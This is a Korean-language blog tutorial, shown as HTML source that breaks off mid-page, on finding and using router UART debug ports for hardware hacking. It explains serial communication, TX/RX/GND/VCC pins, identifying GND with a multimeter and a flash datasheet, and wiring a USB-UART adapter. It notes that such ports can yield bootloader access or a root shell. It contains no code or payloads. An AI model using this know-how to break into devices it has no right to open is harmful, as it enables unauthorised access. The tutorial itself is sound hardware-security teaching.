&lt;p data-end=&quot;1120&quot; data-start=&quot;1038&quot; data-ke-size=&quot;size16&quot;&gt;반대로 직렬 통신은 데이터를 한 비트씩 순서대로 전송한다. 한 번에 하나의 비트만 보내기 때문에 병렬 통신보다 단순하고 필요한 선의 개수도 적다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o1ppB/dJMcadBTnCm/frb31RSwU02DQjGMv36LU0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o1ppB/dJMcadBTnCm/frb31RSwU02DQjGMv36LU0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o1ppB/dJMcadBTnCm/frb31RSwU02DQjGMv36LU0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo1ppB%2FdJMcadBTnCm%2Ffrb31RSwU02DQjGMv36LU0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;411&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1339&quot; data-start=&quot;1248&quot; data-ke-size=&quot;size16&quot;&gt;임베디드 장비에서는 핀 수와 회로 복잡도가 중요하기 때문에 적은 선으로 통신할 수 있는 직렬 통신이 자주 사용된다. UART도 이런 직렬 통신 방식 중 하나이다.&lt;/p&gt;
&lt;h3 data-end=&quot;1339&quot; data-start=&quot;1248&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. &lt;span&gt;동기식 통신과 비동기식 통신&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1405&quot; data-start=&quot;1367&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;직렬 통신은 다시 &lt;b&gt;동기식&lt;/b&gt;과 &lt;b&gt;비동기식&lt;/b&gt;으로 나눌 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;1509&quot; data-start=&quot;1407&quot; data-ke-size=&quot;size16&quot;&gt;동기식 통신은 데이터 라인과 함께 클럭 라인을 사용한다. 통신하는 장치들이 같은 클럭을 기준으로 데이터를 주고받기 때문에 타이밍을 맞추기 쉽다. 대표적인 예로 SPI, I2C가 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCAcKh/dJMcadWfoqE/lFVU5Yjkz4aT3gWrNn1or1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCAcKh/dJMcadWfoqE/lFVU5Yjkz4aT3gWrNn1or1/img.png&quot; data-alt=&quot;직렬 통신, 동기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCAcKh/dJMcadWfoqE/lFVU5Yjkz4aT3gWrNn1or1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCAcKh%2FdJMcadWfoqE%2FlFVU5Yjkz4aT3gWrNn1or1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;147&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;직렬 통신, 동기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;p data-end=&quot;1645&quot; data-start=&quot;1545&quot; data-ke-size=&quot;size16&quot;&gt;비동기식 통신은 별도의 클럭 라인을 사용하지 않는다. &lt;b&gt;대신 송신자와 수신자가 미리 정해둔 속도와 데이터 형식을 기준으로 통신한다&lt;/b&gt;.&lt;b&gt;(Baud Rate)&lt;/b&gt; UART는 이 비동기식 직렬 통신 방식에 속한다.&lt;/p&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;1248&quot; data-end=&quot;1339&quot;&gt;&lt;b&gt;3.&lt;span&gt; UART란?&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;UART는 Universal Asynchronous Receiver/Transmitter의 약자로 비동기 직렬 통신을 구현하는 하드웨어 블록이다. UART의 역할은 장치 내부에서 사용하는 병렬 데이터를 TX/RX 라인을 통해 주고받을 수 있는 직렬 데이터로 변환하는 것이다. &lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ncdUA/dJMcafGAaA2/S1944uWkirXkZTZw9AQrk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ncdUA/dJMcafGAaA2/S1944uWkirXkZTZw9AQrk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ncdUA/dJMcafGAaA2/S1944uWkirXkZTZw9AQrk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FncdUA%2FdJMcafGAaA2%2FS1944uWkirXkZTZw9AQrk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;380&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;하드웨어 해킹에서 UART가 중요한 이유는 임베디드 장비의 내부 상태를 직접 확인할 수 있는 디버그 인터페이스이기 때문이다. 라우터나 IoT 장비는 제품 개발 과정에서 부팅 로그를 확인하거나 디버깅을 하기 위해 UART 콘솔을 사용하는 경우가 많다. 제품이 출시된 이후에도 이 UART 포트가 기판 위에 그대로 남아 있는 경우가 있다. &lt;br /&gt;&lt;br /&gt;만약 UART 콘솔이 활성화되어 있다면 부트로더 로그, 커널 부팅 로그, init 과정, 서비스 실행 로그 등을 직접 확인할 수 있다. 경우에 따라서는 U-Boot 같은 bootloader에 접근하거나, login prompt를 확인하거나, root shell을 얻을 수도 있다.&lt;br /&gt;&lt;br /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1339&quot; data-start=&quot;1248&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. &lt;span&gt;UART 핀 구조&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;라우터&amp;nbsp;기판에서&amp;nbsp;UART&amp;nbsp;후보&amp;nbsp;핀을&amp;nbsp;찾으면&amp;nbsp;보통&amp;nbsp;3핀&amp;nbsp;또는&amp;nbsp;4핀&amp;nbsp;형태로&amp;nbsp;노출되어&amp;nbsp;있다.&amp;nbsp;일반적인&amp;nbsp;UART&amp;nbsp;연결에서&amp;nbsp;중요한&amp;nbsp;핀은&amp;nbsp;TX,&amp;nbsp;RX,&amp;nbsp;GND,&amp;nbsp;VCC이다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YvbTW/dJMcai4ipcy/yapLoEw01IpoL9aoZjKh3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YvbTW/dJMcai4ipcy/yapLoEw01IpoL9aoZjKh3k/img.png&quot; data-alt=&quot;UART 핀의 모습(구멍 4개)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YvbTW/dJMcai4ipcy/yapLoEw01IpoL9aoZjKh3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYvbTW%2FdJMcai4ipcy%2FyapLoEw01IpoL9aoZjKh3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;867&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;UART 핀의 모습(구멍 4개)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;br /&gt;먼저 TX는 Transmit의 약자로&amp;nbsp;&lt;b&gt;데이터를&amp;nbsp;내보내는&amp;nbsp;핀이다&lt;/b&gt;. 라우터의 TX 핀에서는 부팅 로그나 콘솔 출력이 나온다.&amp;nbsp; 라우터 입장에서 TX는 자신이 외부로 데이터를 보내는 선이다. 따라서 PC에서 라우터의 출력을 확인하려면 라우터의 TX를 USB-UART 어댑터의 RX에 연결해야 한다.&lt;br /&gt;&lt;br /&gt;반대로 RX는 Receive의 약자로&amp;nbsp;&lt;b&gt;데이터를&amp;nbsp;받는&amp;nbsp;핀이다&lt;/b&gt;.&amp;nbsp;라우터의&amp;nbsp;RX&amp;nbsp;핀은&amp;nbsp;외부에서&amp;nbsp;들어오는&amp;nbsp;입력을&amp;nbsp;받는다.&amp;nbsp;우리가&amp;nbsp;터미널에서&amp;nbsp;키보드로&amp;nbsp;입력한&amp;nbsp;명령어는&amp;nbsp;USB-UART&amp;nbsp;어댑터의&amp;nbsp;TX를&amp;nbsp;통해&amp;nbsp;라우터의&amp;nbsp;RX로&amp;nbsp;전달된다.&amp;nbsp;따라서&amp;nbsp;라우터에&amp;nbsp;명령을&amp;nbsp;입력하려면&amp;nbsp;라우터의&amp;nbsp;RX와&amp;nbsp;어댑터의&amp;nbsp;TX를&amp;nbsp;연결해야&amp;nbsp;한다.&lt;br /&gt;&lt;br /&gt;여기서 중요한 점은 TX와 RX는 같은 이름끼리 연결하는 것이 아니라 교차 연결해야 한다는 것이다. TX는 데이터를 보내는 핀이고 RX는 데이터를 받는 핀이므로 한쪽 장치의 TX는 다른 장치의 RX로 연결되어야 한다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxXalx/dJMcahK9X5x/klkmIsvKw9LOwrS1yMzqf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxXalx/dJMcahK9X5x/klkmIsvKw9LOwrS1yMzqf1/img.png&quot; data-alt=&quot;TX와 RX의 교차 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxXalx/dJMcahK9X5x/klkmIsvKw9LOwrS1yMzqf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxXalx%2FdJMcahK9X5x%2FklkmIsvKw9LOwrS1yMzqf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;394&quot; height=&quot;239&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;TX와 RX의 교차 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;nbsp;GND는 Ground의 약자로 회로에서 &lt;b&gt;전압을 측정하거나 신호를 해석할 때 기준이 되는 지점이다&lt;/b&gt;. UART 통신을 하려면 라우터와 USB-UART 어댑터가 같은 기준 전압을 공유해야 하므로 GND는 반드시 연결해야 한다. GND가 연결되지 않으면 TX/RX 선이 연결되어 있어도 두 장치가 같은 기준으로 신호를 해석하지 못하기 때문에 통신이 제대로 되지 않을 수 있다.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c58fwV/dJMcafmhswV/bQXo8rKLq44WxN8pOuqVUK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c58fwV/dJMcafmhswV/bQXo8rKLq44WxN8pOuqVUK/img.jpg&quot; data-alt=&quot;GND(접지 기호)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c58fwV/dJMcafmhswV/bQXo8rKLq44WxN8pOuqVUK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc58fwV%2FdJMcafmhswV%2FbQXo8rKLq44WxN8pOuqVUK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;387&quot; height=&quot;130&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;GND(접지 기호)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;VCC는 &lt;b&gt;회로에 공급되는 전원 전압 라인이다&lt;/b&gt;. UART 후보 핀 중 하나가 GND 기준으로 3.3V 또는 5V로 측정된다면 그 핀은 VCC일 가능성이 높다. 다만 UART 통신 자체에 VCC가 필요한 것은 아니다. 라우터는 이미 전원 어댑터를 통해 전원을 공급받고 있으므로 USB-UART 어댑터와 연결할 때는 보통 VCC를 연결하지 않는다.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;1248&quot; data-end=&quot;1339&quot;&gt;&lt;b&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Multimeter로 UART 핀 구분하기&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;멀티미터란?&lt;/b&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UART 핀을 구분하기 전에 먼저 멀티미터에 대해 알아보자. &lt;b&gt;멀티미터는 전압, 저항, 전류, 도통 여부 등을 측정할 수 있는 전자 측정 장비이다&lt;/b&gt;.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c456Pm/dJMcac3835H/SnB9bXUkqTDVXNdwcK94mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c456Pm/dJMcac3835H/SnB9bXUkqTDVXNdwcK94mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c456Pm/dJMcac3835H/SnB9bXUkqTDVXNdwcK94mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc456Pm%2FdJMcac3835H%2FSnB9bXUkqTDVXNdwcK94mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;827&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 3개의 단자가 존재하는데 가장 기본적으로 사용하는 단자는 COM과 V&amp;Omega;mA이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;COM&lt;/b&gt;은 common의 약자로 기준점 역할을 하는 단자이다. 검은색 프로브를 여기에 연결한다. 전압을 측정할 때는 이 COM을 기준으로 다른 지점의 전압을 측정하게 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;p data-end=&quot;576&quot; data-start=&quot;488&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;V&amp;Omega;mA&lt;/b&gt; 단자는 전압, 저항, 도통 측정에 사용하는 단자이다. 빨간색 프로브를 여기에 연결한다. UART 핀을 찾을 때는 대부분 이 단자를 사용하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;멀티미터의 도통 모드를 이용해 GND핀 식별하기&amp;nbsp;&lt;/b&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;도통 모드는 두 지점이 전기적으로 연결되어 있는지 확인하는 모드이다. 보통 연결되어 있으면 삐 소리가 난다. 이 기능을 이용하면 UART 후보 핀 중 어떤 핀이 GND인지 확인할 수 있다.&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yJEBW/dJMcagZLKe0/azUZ2klqkXp0p2t4VFMyLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yJEBW/dJMcagZLKe0/azUZ2klqkXp0p2t4VFMyLk/img.png&quot; data-alt=&quot;도통 모드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yJEBW/dJMcagZLKe0/azUZ2klqkXp0p2t4VFMyLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyJEBW%2FdJMcagZLKe0%2FazUZ2klqkXp0p2t4VFMyLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;533&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;도통 모드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;p data-end=&quot;307&quot; data-start=&quot;157&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;먼저 라우터의 전원을 끈 상태에서 멀티미터를 도통 모드로 설정한다. 그리고 검은색 프로브는 &lt;b&gt;기판에서 GND일 가능성이 높은 부분에 댄다.&lt;/b&gt; 예를 들어 랜 포트의 금속 쉴드, USB 포트의 금속 부분, 전원 어댑터 잭의 바깥쪽 금속 부분 등은 보통 GND와 연결되어 있다.&lt;/p&gt;
&lt;p data-end=&quot;307&quot; data-start=&quot;157&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;434&quot; data-start=&quot;309&quot; data-ke-size=&quot;size16&quot;&gt;그 다음 빨간색 프로브를 UART 후보 핀에 하나씩 대본다. 이때 특정 핀에서 멀티미터가 삐 소리를 내면, 그 핀은 기준으로 잡은 GND와 전기적으로 연결되어 있다는 뜻이다. 따라서 해당 핀을 GND 핀으로 판단할 수 있다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;여기서 꿀팁은 SPI flash 메모리를 이용하면 GND를 쉽게 찾을 수 있다. 다음과 같이 라우터에서 SPI flash 메모리가 식별 가능하다면 해당 메모리의 data sheet를 보고 GND를 찾을 수 있다.&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wbxsg/dJMcadooEJ4/TsBvfjjekYrolCpNEM8lK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wbxsg/dJMcadooEJ4/TsBvfjjekYrolCpNEM8lK1/img.png&quot; data-alt=&quot;XM25QH64C&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wbxsg/dJMcadooEJ4/TsBvfjjekYrolCpNEM8lK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwbxsg%2FdJMcadooEJ4%2FTsBvfjjekYrolCpNEM8lK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;533&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;XM25QH64C&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;데이터 시트는 다음과 같다.&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;1053&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Npq9H/dJMcabc5hBh/IUIPOsFZ7VyyOYCcl5CuKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Npq9H/dJMcabc5hBh/IUIPOsFZ7VyyOYCcl5CuKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Npq9H/dJMcabc5hBh/IUIPOsFZ7VyyOYCcl5CuKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNpq9H%2FdJMcabc5hBh%2FIUIPOsFZ7VyyOYCcl5CuKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;1053&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;1053&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;따라서 위를 기준으로 pin 4에 위치한 GND에 검은색 프로브를, UART 핀들에 빨간색 프로브를 두고 삐소리가 울리는 지점을 GND로 판단할 수 있다.&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GND핀을 찾은 이후에는 간단하다. 전압 측정을 통해 나머지 핀들을 식별하거나 혹은 위와 마찬가지로 MCU의 데이터 시트를 구한 후 TX, RX 핀과 연결된 부분을 확인하면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1339&quot; data-start=&quot;1248&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6.&lt;span&gt; USB-UART&amp;nbsp;어댑터&amp;nbsp;연결하기&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;위에서 UART의 핀을 전부 식별했다면 이제 USB-UART 어댑터를 연결하면 된다. USB-UART의 선에 각각이 무슨 역할을 하는 지 안써있을 수 있는데 보편적으로 검은색이 GND, 하약색이 RX, 빨간색이 VCC, 초록색이 TX이다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;2160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eMvFkg/dJMcah5vlap/Pqcnr9eBaPEAMt26zobzc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eMvFkg/dJMcah5vlap/Pqcnr9eBaPEAMt26zobzc1/img.png&quot; data-alt=&quot;컴퓨터랑 uart를 연결한 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eMvFkg/dJMcah5vlap/Pqcnr9eBaPEAMt26zobzc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeMvFkg%2FdJMcah5vlap%2FPqcnr9eBaPEAMt26zobzc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 